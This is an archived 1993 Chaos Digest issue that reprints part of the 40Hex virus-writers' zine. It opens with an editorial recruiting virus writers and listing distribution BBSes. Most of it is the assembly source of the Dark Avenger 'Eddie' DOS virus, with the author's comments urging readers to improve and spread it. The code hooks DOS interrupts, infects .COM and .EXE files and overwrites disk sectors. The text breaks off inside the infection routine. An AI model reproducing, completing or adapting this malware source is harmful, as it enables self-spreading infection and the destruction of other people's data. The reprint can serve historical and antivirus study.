HPAVC

home *** CD-ROM | disk | FTP | other *** search

/ HPAVC / HPAVC CD-ROM.iso / pc / KAOS1_35.ZIP / KAOS1-35

Wrap

Text File | 1993-06-02 | 26.6 KB | 875 lines

Chaos Digest Lundi 24 Mai 1993 Volume 1 : Numero 35 ISSN 1244-4901 Editeur: Jean-Bernard Condat (jbcondat@attmail.com) Archiviste: Yves-Marie Crabbe Co-Redacteurs: Arnaud Bigare, Stephane Briere TABLE DES MATIERES, #1.35 (24 Mai 1993) File 1--40H VMag Issue 1 Volume 3 #000-003(1) (reprint) Chaos Digest is a weekly electronic journal/newsletter. Subscriptions are available at no cost by sending a message to: linux-activists-request@niksula.hut.fi with a mail header or first line containing the following informations: X-Mn-Admin: join CHAOS_DIGEST The editors may be contacted by voice (+33 1 47874083), fax (+33 1 47877070) or S-mail at: Jean-Bernard Condat, Chaos Computer Club France [CCCF], B.P. 155, 93404 St-Ouen Cedex, France. He is a member of the EICAR and EFF (#1299) groups. Issues of ChaosD can also be found from the ComNet in Luxembourg BBS (+352) 466893. Back issues of ChaosD can be found on the Internet as part of the Computer underground Digest archives. They're accessible using anonymous FTP: * kragar.eff.org [192.88.144.4] in /pub/cud/chaos * uglymouse.css.itd.umich.edu [141.211.182.53] in /pub/CuD/chaos * halcyon.com [192.135.191.2] in /pub/mirror/cud/chaos * ftp.cic.net [192.131.22.2] in /e-serials/alphabetic/c/chaos-digest * ftp.ee.mu.oz.au [128.250.77.2] in /pub/text/CuD/chaos * nic.funet.fi [128.214.6.100] in /pub/doc/cud/chaos * orchid.csv.warwick.ac.uk [137.205.192.5] in /pub/cud/chaos CHAOS DIGEST is an open forum dedicated to sharing French information among computerists and to the presentation and debate of diverse views. ChaosD material may be reprinted for non-profit as long as the source is cited. Some authors do copyright their material, and they should be contacted for reprint permission. Readers are encouraged to submit reasoned articles in French, English or German languages relating to computer culture and telecommunications. Articles are preferred to short responses. Please avoid quoting previous posts unless absolutely necessary. DISCLAIMER: The views represented herein do not necessarily represent the views of the moderators. Chaos Digest contributors assume all responsibility for ensuring that articles submitted do not violate copyright protections. ---------------------------------------------------------------------- Date: Tue May 11 09:24:40 PDT 1993 From: 0005847161@mcimail.com (American_Eagle_Publication_Inc. ) Subject: File 1--40H VMag Issue 1 Volume 3 #000-003(1) (reprint) 40Hex Issue 3 0000 Contents -------- A Word From Hellraiser.......................................0001 The Dark Avenger Source......................................0002 Anthrax......................................................0003 The 40Hex Challenge/The Strange Case of Validate.............0004 Application for SKISM........................................0005 Virus News For October/91....................................0006 The Darth Vader Virus Strain B...............................0007 Mystery Virus................................................0008 Tiny-F Source................................................0009 Afterwords...................................................0010 Staff ----- Hellraiser...............Editor/Writer/Programmer/Tech. Consultant Garbage Heap.....................Writer/Spell Checker/Distribution Special Thanks to... Demogorgan, Dark Angel, Count Zero, Piff', Paragon Dude, The Fisch, Gambit, Punisher, Nuclear Warhead, Ironlord (and the rest of the alliance people all our freinds in PA, CT, and all over the world, and most of all our readers for your support. SKISM distribution sites as of 10/91 Jihad - 1-(408)-XXX-XXXX : California The Night Eyes BBS - 1-(717)-367-3501 : Pennsylvania The Punishment Due BBS - 1-(203)-675-???? : Connecticut * DOWN * +++++ 40Hex Issue 3 0001 - Gray would be the color, if I had a heart. Well what's up. Sorry about the delay with issue three but there's been a lot of stuff going down. I've been working on a lot of semi-legit projects and all that so I haven't gotten around to 40Hex till now. Anyway, first big news is this. SKISM has now co-oped with the New York based group PHALCON, thus broadening both groups span of diversity. SKISM being an all virus group and PHALCON dealing with mainly h/p. Secondly, SKISM is hoping to broaden its membership a bit. We are looking for a few good virus writers. Mainly what we need is some people who are very good at assembly code and first and foremost virus writing. Lame bomb writers, Q-Basic coders and such need not apply. We are not just looking for IBM coders, as we are also broading to Mac and Amiga. Thirdly, SKISM gained a new HQ in PA., it is called Night Eyes BBS. The number is (717)-367-3501, supporting 12/24/96/14.4 baud rates. [ChaosD: DOWN! a ce jour... il semblerait qu'il n'est jamais fonctionne!] Finally, The Landfill BBS, whos number is listed as the SKISM HQ in issue two, is no longer our HQ. Although we are still on very good terms with the staff of that BBS, please refrain from calling it with virus related topics (they are no-longer h/p, just Amiga wares). Any- way the new New York SKISM base should be up and running by tops October. It will be called Hell On Earth and I myself will be sysop. Well enjoy... - Hellraiser -- Appendum -- Well about three days after writing this artical I found out that I am being shipped to California. This sucks... Well looks like Hell On Earth will be up out there instead of New York. Call our home boards to keep in touch with the situation. I can still be left mail on Night Eyes. -- Appendum B -- 10/25/91 Well, it's been over a month since I wrote the above. Nothing much has changed since then. I'm in CA. now and without a system. Phalcon members have been going off -- mostly Dark Angel, who has a new virus coming out, Bob Ross. I hope I can get it for this issue. Anyway, in other news The Punishment Due - Skism distribution site has gone down. I am looking for other BBS's to add the collection to. More news... There is another Hell On Earth BBS out there so it looks like I am going to have to change the name of my BBS, when I get my system. Ironically I am concidering having the other Hell On Earth as a Skism distribution site. Even more news... I have been getting a lot of shit cause of my name. There seems to be other Hellraisers out there, who claim they were the first... Fuck you all! I had the name since 1989, when I read Clive Barkers novella - "The Hellbound Heart." If you had it before then, its yours. However after calling a lot of boards nationally lately I never had a problem logging on due to my name. Shows how lame people are. Well thats it for now... Hope this issue will be out shortly. +++++ 40Hex Issue 3 0002 The Dark Avenger - We are demons to some, angels to others. Well, here it is. Here is the first major virus source, from the man who brought us such greats as V2000, Anthrax, and V2100 to name a few. Well this Bulgarian metal lover was nice enough to freely distribute the source code to his first virus. ----------------------------------------------------------------------------- ;"Blessed is he who expects nothing, for he shall not be disappointed." ;The original source of one of the first Bulgarian viruses is in front of ;you. As you may notice, it's full of rubbish and bugs, but nevertheless ;the virus has spread surprisingly quickly troughout the country and made a ;quick round the globe. (It's well-known in Eastern and Western Europe, as ;well as in USA.) Due to the aniversary of its creation, the source is ;distributed freely. You have the rights to distribute the source which can ;be charged or free of charge, with the only condition not to modify it. ;The one, who intentionaly distributes this source modified in any way will ;be punished! Still, the author will be glad if any of you improves it and ;spreads the resulting executive file (i.e., the virus itself). Pay ;attention to the fact that after you assemble the source, the resulting ;.COM-file cannot be run. For that purpose you have to create a three-byte ;file, consisting of the hex numbers 0e9h, 68h, 0 and then to combine the ;two files. Don't try to place a JMP at the beginning of the source. ;DISCLAIMER: The author does not take any responsability for any damage, ;either direct or implied, caused by the usage or not of this source or of ;the resulting code after assembly. No warrant is made about the product ;functionability or quality. ;I cannot resist to express my special gratitude to my "populazer" Dipl. ;eng. Vesselin Bontchev, who makes me famous and who, wishing it or ;not, helps very much in the spreading of my viruses, in spite of the fact ;that he tries to do just the opposite (writing programs in C has never ;led to any good). ;Greetings to all virus writers! code segment assume cs:code,ds:code copyright: db 'Eddie lives...somewhere in time!',0 date_stamp: dd 12239000h checksum: db 30 ;Return the control to an .EXE file: ;Restores DS=ES=PSP, loads SS:SP and CS:IP. exit_exe: mov bx,es add bx,10h add bx,word ptr cs:[si+call_adr+2] mov word ptr cs:[si+patch+2],bx mov bx,word ptr cs:[si+call_adr] mov word ptr cs:[si+patch],bx mov bx,es add bx,10h add bx,word ptr cs:[si+stack_pointer+2] mov ss,bx mov sp,word ptr cs:[si+stack_pointer] db 0eah ;JMP XXXX:YYYY patch: dd 0 ;Returns control to a .COM file: ;Restores the first 3 bytes in the ;beginning of the file, loads SP and IP. exit_com: mov di,100h add si,offset my_save movsb movsw mov sp,ds:[6] ;This is incorrect xor bx,bx push bx jmp [si-11] ;si+call_adr-top_file ;Program entry point startup: call relative relative: pop si ;SI = $ sub si,offset relative cld cmp word ptr cs:[si+my_save],5a4dh je exe_ok cli mov sp,si ;A separate stack is supported for add sp,offset top_file+100h ;the .COM files, in order not to sti ;overlap the stack by the program cmp sp,ds:[6] jnc exit_com exe_ok: push ax push es push si push ds mov di,si ;Looking for the address of INT 13h handler in ROM-BIOS xor ax,ax push ax mov ds,ax les ax,ds:[13h*4] mov word ptr cs:[si+fdisk],ax mov word ptr cs:[si+fdisk+2],es mov word ptr cs:[si+disk],ax mov word ptr cs:[si+disk+2],es mov ax,ds:[40h*4+2] ;The INT 13h vector is moved to INT 40h cmp ax,0f000h ;for diskettes if a hard disk is jne nofdisk ;available mov word ptr cs:[si+disk+2],ax mov ax,ds:[40h*4] mov word ptr cs:[si+disk],ax mov dl,80h mov ax,ds:[41h*4+2] ;INT 41h usually points the segment, cmp ax,0f000h ;where the original INT 13h vector is je isfdisk cmp ah,0c8h jc nofdisk cmp ah,0f4h jnc nofdisk test al,7fh jnz nofdisk mov ds,ax cmp ds:[0],0aa55h jne nofdisk mov dl,ds:[2] isfdisk: mov ds,ax xor dh,dh mov cl,9 shl dx,cl mov cx,dx xor si,si findvect: lodsw ;Occasionally begins with: cmp ax,0fa80h ; CMP DL,80h jne altchk ; JNC somewhere lodsw cmp ax,7380h je intchk jne nxt0 altchk: cmp ax,0c2f6h ;or with: jne nxt ; TEST DL,80h lodsw ; JNZ somewhere cmp ax,7580h jne nxt0 intchk: inc si ;then there is: lodsw ; INT 40h cmp ax,40cdh je found sub si,3 nxt0: dec si dec si nxt: dec si loop findvect jmp short nofdisk found: sub si,7 mov word ptr cs:[di+fdisk],si mov word ptr cs:[di+fdisk+2],ds nofdisk: mov si,di pop ds ;Check whether the program is present in memory: les ax,ds:[21h*4] mov word ptr cs:[si+save_int_21],ax mov word ptr cs:[si+save_int_21+2],es push cs pop ds cmp ax,offset int_21 jne bad_func xor di,di mov cx,offset my_size scan_func: lodsb scasb jne bad_func loop scan_func pop es jmp go_program ;Move the program to the top of memory: ;(it's full of rubbish and bugs here) bad_func: pop es mov ah,49h int 21h mov bx,0ffffh mov ah,48h int 21h sub bx,(top_bz+my_bz+1ch-1)/16+2 jc go_program mov cx,es stc adc cx,bx mov ah,4ah int 21h mov bx,(offset top_bz+offset my_bz+1ch-1)/16+1 stc sbb es:[2],bx push es mov es,cx mov ah,4ah int 21h mov ax,es dec ax mov ds,ax mov word ptr ds:[1],8 call mul_16 mov bx,ax mov cx,dx pop ds mov ax,ds call mul_16 add ax,ds:[6] adc dx,0 sub ax,bx sbb dx,cx jc mem_ok sub ds:[6],ax ;Reduction of the segment size mem_ok: pop si push si push ds push cs xor di,di mov ds,di lds ax,ds:[27h*4] mov word ptr cs:[si+save_int_27],ax mov word ptr cs:[si+save_int_27+2],ds pop ds mov cx,offset aux_size rep movsb xor ax,ax mov ds,ax mov ds:[21h*4],offset int_21;Intercept INT 21h and INT 27h mov ds:[21h*4+2],es mov ds:[27h*4],offset int_27 mov ds:[27h*4+2],es mov word ptr es:[filehndl],ax pop es go_program: pop si ;Smash the next disk sector: xor ax,ax mov ds,ax mov ax,ds:[13h*4] mov word ptr cs:[si+save_int_13],ax mov ax,ds:[13h*4+2] mov word ptr cs:[si+save_int_13+2],ax mov ds:[13h*4],offset int_13 add ds:[13h*4],si mov ds:[13h*4+2],cs pop ds push ds push si mov bx,si lds ax,ds:[2ah] xor si,si mov dx,si scan_envir: ;Fetch program's name lodsw ;(with DOS 2.x it doesn't work anyway) dec si test ax,ax jnz scan_envir add si,3 lodsb ;The following instruction is a complete nonsense. Try to enter a drive & ;directory path in lowercase, then run an infected program from there. ;As a result of an error here + an error in DOS the next sector is not ;smashed. Two memory bytes are smashed instead, most probably onto the ;infected program. sub al,'A' mov cx,1 push cs pop ds add bx,offset int_27 push ax push bx push cx int 25h pop ax pop cx pop bx inc byte ptr [bx+0ah] and byte ptr [bx+0ah],0fh ;It seems that 15 times doing jnz store_sec ;nothing is not enough for some. mov al,[bx+10h] xor ah,ah mul word ptr [bx+16h] add ax,[bx+0eh] push ax mov ax,[bx+11h] mov dx,32 mul dx div word ptr [bx+0bh] pop dx add dx,ax mov ax,[bx+8] add ax,40h cmp ax,[bx+13h] jc store_new inc ax and ax,3fh add ax,dx cmp ax,[bx+13h] jnc small_disk store_new: mov [bx+8],ax store_sec: pop ax xor dx,dx push ax push bx push cx int 26h ;The writing trough this interrupt is not the smartest thing, bacause it ;can be intercepted (what Vesselin Bontchev has managed to notice). pop ax pop cx pop bx pop ax cmp byte ptr [bx+0ah],0 jne not_now mov dx,[bx+8] pop bx push bx int 26h small_disk: pop ax not_now: pop si xor ax,ax mov ds,ax mov ax,word ptr cs:[si+save_int_13] mov ds:[13h*4],ax mov ax,word ptr cs:[si+save_int_13+2] mov ds:[13h*4+2],ax pop ds pop ax cmp word ptr cs:[si+my_save],5a4dh jne go_exit_com jmp exit_exe go_exit_com: jmp exit_com int_24: mov al,3 ;This instruction seems unnecessary iret ;INT 27h handler (this is necessary) int_27: pushf call alloc popf jmp dword ptr cs:[save_int_27] ;During the DOS functions Set & Get Vector it seems that the virus has not ;intercepted them (this is a doubtfull advantage and it is a possible ;source of errors with some "intelligent" programs) set_int_27: mov word ptr cs:[save_int_27],dx mov word ptr cs:[save_int_27+2],ds popf iret set_int_21: mov word ptr cs:[save_int_21],dx mov word ptr cs:[save_int_21+2],ds popf iret get_int_27: les bx,dword ptr cs:[save_int_27] popf iret get_int_21: les bx,dword ptr cs:[save_int_21] popf iret exec: call do_file call alloc popf jmp dword ptr cs:[save_int_21] db 'Diana P.',0 ;INT 21h handler. Infects files during execution, copying, browsing or ;creating and some other operations. The execution of functions 0 and 26h ;has bad consequences. int_21: push bp mov bp,sp push [bp+6] popf pop bp pushf call ontop cmp ax,2521h je set_int_21 cmp ax,2527h je set_int_27 cmp ax,3521h je get_int_21 cmp ax,3527h je get_int_27 cld cmp ax,4b00h je exec cmp ah,3ch je create cmp ah,3eh je close cmp ah,5bh jne not_create create: cmp word ptr cs:[filehndl],0;May be 0 if the file is open jne dont_touch call see_name jnz dont_touch call alloc popf call function jc int_exit pushf push es push cs pop es push si push di push cx push ax mov di,offset filehndl stosw mov si,dx mov cx,65 move_name: lodsb stosb test al,al jz all_ok loop move_name mov word ptr es:[filehndl],cx all_ok: pop ax pop cx pop di pop si pop es go_exit: popf jnc int_exit ;JMP close: cmp bx,word ptr cs:[filehndl] jne dont_touch test bx,bx jz dont_touch call alloc popf call function jc int_exit pushf push ds push cs pop ds push dx mov dx,offset filehndl+2 call do_file mov word ptr cs:[filehndl],0 pop dx pop ds jmp go_exit not_create: cmp ah,3dh je touch cmp ah,43h je touch cmp ah,56h ;Unfortunately, the command inter- jne dont_touch ;preter does not use this function touch: call see_name jnz dont_touch call do_file dont_touch: call alloc popf call function int_exit: pushf push ds call get_chain mov byte ptr ds:[0],'Z' pop ds popf dummy proc far ;??? ret 2 dummy endp ;Checks whether the file is .COM or .EXE. ;It is not called upon file execution. see_name: push ax push si mov si,dx scan_name: lodsb test al,al jz bad_name cmp al,'.' jnz scan_name call get_byte mov ah,al call get_byte cmp ax,'co' jz pos_com cmp ax,'ex' jnz good_name call get_byte cmp al,'e' jmp short good_name pos_com: call get_byte cmp al,'m' jmp short good_name bad_name: inc al good_name: pop si pop ax ret ;Converts into lowercase (the subroutines are a great thing). get_byte: lodsb cmp al,'C' jc byte_got cmp al,'Y' jnc byte_got add al,20h byte_got: ret ;Calls the original INT 21h. function: pushf call dword ptr cs:[save_int_21] ret ;Arrange to infect an executable file. do_file: push ds ;Save the registers in stack push es push si push di push ax push bx push cx push dx mov si,ds xor ax,ax mov ds,ax les ax,ds:[24h*4] ;Saves INT 13h and INT 24h in stack push es ;and changes them with what is needed push ax mov ds:[24h*4],offset int_24 mov ds:[24h*4+2],cs les ax,ds:[13h*4] mov word ptr cs:[save_int_13],ax mov word ptr cs:[save_int_13+2],es mov ds:[13h*4],offset int_13 mov ds:[13h*4+2],cs push es push ax mov ds,si xor cx,cx ;Arranges to infect Read-only files mov ax,4300h call function mov bx,cx and cl,0feh cmp cl,bl je dont_change mov ax,4301h call function stc dont_change: pushf push ds push dx push bx mov ax,3d02h ;Now we can safely open the file call function jc cant_open mov bx,ax call disease mov ah,3eh ;Close it call function cant_open: pop cx pop dx pop ds popf jnc no_update mov ax,4301h ;Restores file's attributes call function ;if they were changed (just in case) no_update: xor ax,ax ;Restores INT 13h and INT 24h mov ds,ax pop ds:[13h*4] pop ds:[13h*4+2] pop ds:[24h*4] pop ds:[24h*4+2] pop dx ;Register restoration pop cx pop bx pop ax pop di pop si pop es pop ds ret ;This routine is the working horse. disease: push cs pop ds push cs pop es mov dx,offset top_save ;Read the file beginning mov cx,18h mov ah,3fh int 21h xor cx,cx xor dx,dx mov ax,4202h ;Save file length int 21h mov word ptr [top_save+1ah],dx cmp ax,offset my_size ;This should be top_file sbb dx,0 jc stop_fuck_2 ;Small files are not infected mov word ptr [top_save+18h],ax cmp word ptr [top_save],5a4dh jne com_file mov ax,word ptr [top_save+8] add ax,word ptr [top_save+16h] call mul_16 add ax,word ptr [top_save+14h] adc dx,0 mov cx,dx mov dx,ax jmp short see_sick com_file: cmp byte ptr [top_save],0e9h jne see_fuck mov dx,word ptr [top_save+1] add dx,103h jc see_fuck dec dh xor cx,cx ------------------------------ End of Chaos Digest #1.35 ************************************